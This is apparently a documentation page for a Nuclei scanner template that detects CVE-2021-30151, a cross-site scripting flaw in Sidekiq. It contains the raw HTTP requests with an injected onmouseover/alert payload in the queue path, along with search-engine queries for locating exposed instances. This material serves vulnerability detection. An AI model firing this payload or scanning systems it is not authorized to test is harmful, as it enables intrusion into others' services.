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Sidekiq <=6.2.0 - Cross-Site Scripting

ID: CVE-2021-30151

Severity: medium

Author: DhiyaneshDk

Tags: cve2021,cve,xss,sidekiq,authenticated,contribsys

Description

Section titled “Description”

Sidekiq through 5.1.3 and 6.x through 6.2.0 contains a cross-site scripting vulnerability via the queue name of the live-poll feature when Internet Explorer is used.

YAML Source

Section titled “YAML Source”
id: CVE-2021-30151


info:
  name: Sidekiq <=6.2.0 - Cross-Site Scripting
  author: DhiyaneshDk
  severity: medium
  description: Sidekiq through 5.1.3 and 6.x through 6.2.0 contains a cross-site scripting vulnerability via the queue name of the live-poll feature when Internet Explorer is used.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access, data theft, or session hijacking.
  remediation: |
    Upgrade to Sidekiq version 6.2.0 or later to mitigate this vulnerability.
  reference:
    - https://github.com/mperham/sidekiq/issues/4852
    - https://lists.debian.org/debian-lts-announce/2022/03/msg00015.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-30151
    - https://lists.debian.org/debian-lts-announce/2023/03/msg00011.html
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-30151
    cwe-id: CWE-79
    epss-score: 0.00812
    epss-percentile: 0.81748
    cpe: cpe:2.3:a:contribsys:sidekiq:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: contribsys
    product: sidekiq
    shodan-query:
      - title:"Sidekiq"
      - http.title:"sidekiq"
    fofa-query: title="sidekiq"
    google-query: intitle:"sidekiq"
  tags: cve2021,cve,xss,sidekiq,authenticated,contribsys


http:
  - raw:
      - |
        POST /api/auth HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json


        {"email":"{{username}}","password":"{{password}}"}
      - |
        GET /queues/"onmouseover="alert(document.domain)" HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'onmouseover="alert(document.domain)'
          - 'sidekiq'
        condition: and
        case-insensitive: true


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b78965054b633c48ac8e903fb77b61ddbf78227f849a8fea3cc1fa0c497431e4022100fbffcc0f7244cb28796159dbc4d84b5eeaca4031d33b056c31d3f9720d4c725a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-30151.yaml"

View on Github